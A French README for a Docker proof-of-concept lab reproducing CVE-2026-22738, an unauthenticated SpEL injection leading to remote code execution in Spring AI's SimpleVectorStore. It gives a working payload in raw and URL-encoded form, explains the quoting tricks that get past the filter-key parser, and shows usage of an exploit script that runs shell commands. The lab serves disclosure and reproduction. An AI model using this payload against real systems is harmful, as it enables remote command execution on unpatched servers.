
Injection SpEL via clé de filtre non échappée dans SimpleVectorStore menant à une exécution de code à distance

CVE-2026-22738 est une vulnérabilité d'injection SpEL (Spring Expression Language) dans SimpleVectorStore de Spring AI, permettant une exécution de code à distance (RCE) non authentifiée.
| Artifact | Versions affectées | Version corrigée |
|---|---|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Remarque : Ce projet utilise la version officielle spring-ai-core:1.0.0 pour la reproduction de la vulnérabilité.
Commit de correction : ba9220b22383e430d5f801ce8e4fa01cf9e75f29
La méthode SimpleVectorStore.similaritySearch() transmet le nom de la clé de filtre fournie par l'utilisateur telle quelle au modèle SpEL, qui est ensuite évalué par StandardEvaluationContext. Comme StandardEvaluationContext expose l'API complète de réflexion JVM, un attaquant peut injecter :
T(java.lang.Runtime).getRuntime().exec(...)
en ajoutant la clé de filtre pour réaliser une exécution de commande système non authentifiée.
Utilisez le payload suivant, en notant qu'un encodage URL est nécessaire
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Transmettez le payload au paramètre filterKey pour ouvrir la calculatrice avec succès

La méthode d'injection simple ne fonctionne pas directement — il faut surmonter deux particularités du parseur :
Suppression des guillemets simples — Une clé commençant par un guillemet simple ' est traitée comme une chaîne entre guillemets ; les guillemets externes sont supprimés, ce qui casse le payload.
Enveloppe de guillemets doubles — Envelopper le payload dans des guillemets doubles "..." amène le parseur à supprimer les guillemets doubles externes, conservant ainsi l'expression SpEL interne comme valeur de clé transmise au parseur #metadata['<KEY>'].
Clé de métadonnées vide — L'utilisation de #metadata[''] des deux côtés de l'expression injectée (au lieu d'une variable non définie) évite l'erreur SpEL de variable inconnue tout en déclenchant toujours exec().
L'expression calculée a la forme suivante :
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
Le corps de la réponse HTTP contiendra l'erreur d'exécution SpEL EL1030E :
operator ADD not supported between null and java.lang.ProcessImpl
Cette erreur est déclenchée après le retour de exec(), confirmant l'exécution de la commande au niveau du système d'exploitation, sans nécessiter de rappel hors bande.
pip install requests)# Construire et démarrer les conteneurs
docker compose up -d --build
# Consulter les journaux
docker compose logs -f
# Installer les dépendances
pip install requests
# Exécuter l'exploitation (attendre le démarrage de l'application)
python3 exploit.py --wait
# Ou spécifier la cible
python3 exploit.py --target http://localhost:8082 --wait
| Option | Valeur par défaut | Description |
|---|---|---|
--target | http://localhost:8082 | URL de base de l'application vulnérable |
--wait | désactivé | Interroge jusqu'à ce que la cible soit prête (utile après docker compose up) |
Remarque : Docker Desktop (macOS/Windows) utilise host.docker.internal pour les rappels, payload 127.0.0.1.
Ce flux de preuve de concept comprend cinq étapes séquentielles :
T(java.lang.System) pour java.versiontouch /tmp/pwned_cve_2026_22738 à l'intérieur du conteneurid // uname // hostname dans /tmp/rce_proof.txtdocker exec├── Dockerfile # Fichier de construction Docker
├── docker-compose.yml # Configuration Docker Compose
├── pom.xml # Configuration du projet Maven
├── settings.xml # Paramètres Maven (inclut les dépôts Spring)
├── exploit.py # Script d'exploitation
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Classe principale Spring Boot
├── VulnController.java # Contrôleur vulnérable
├── VectorStoreConfig.java # Configuration VectorStore
└── DummyEmbeddingModel.java # Modèle d'embedding simulé
# Compiler le projet
mvn clean package -DskipTests
# Exécuter l'application
java -jar target/spel-rce-lab-1.0.0.jar
# Exécuter l'exploitation dans un autre terminal
python3 exploit.py --target http://localhost:8082